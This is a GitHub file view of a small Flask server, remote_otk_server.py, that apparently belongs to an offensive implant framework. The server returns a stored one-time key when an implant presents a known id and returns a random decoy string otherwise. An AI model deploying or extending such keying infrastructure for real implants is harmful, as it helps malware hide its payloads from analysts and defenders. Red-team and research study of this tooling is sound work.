-
Notifications
You must be signed in to change notification settings - Fork 28
/
remote_otk_server.py
66 lines (44 loc) · 1.44 KB
/
remote_otk_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import argparse
from flask import Flask
from flask import request
from models.models import Database
from core.helpers.crypto import random_string
app = Flask(__name__)
@app.route('/')
def entry_point():
alt = random_string()
implant_id = request.args.get('id', None)
if args.debug:
print('Implant id is', implant_id)
if implant_id is None:
return alt
implant_id = implant_id.strip()
if args.debug:
print(list(implant_id))
print(type(implant_id))
db = Database()
db.initialize()
remote_key = db.retrieve(implant_id)
if args.debug:
print('remote_key is', remote_key)
if remote_key is None:
return alt
return remote_key
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--lport',
dest='lport',
type=int,
default=80,
help='Set listening port')
parser.add_argument('--lhost',
dest='lhost',
type=str,
default='0.0.0.0',
help='Set listening host')
parser.add_argument('--debug',
dest='debug',
action='store_true',
help='Run server in debug mode')
args = parser.parse_args()
app.run(debug=args.debug, host=args.lhost, port=args.lport)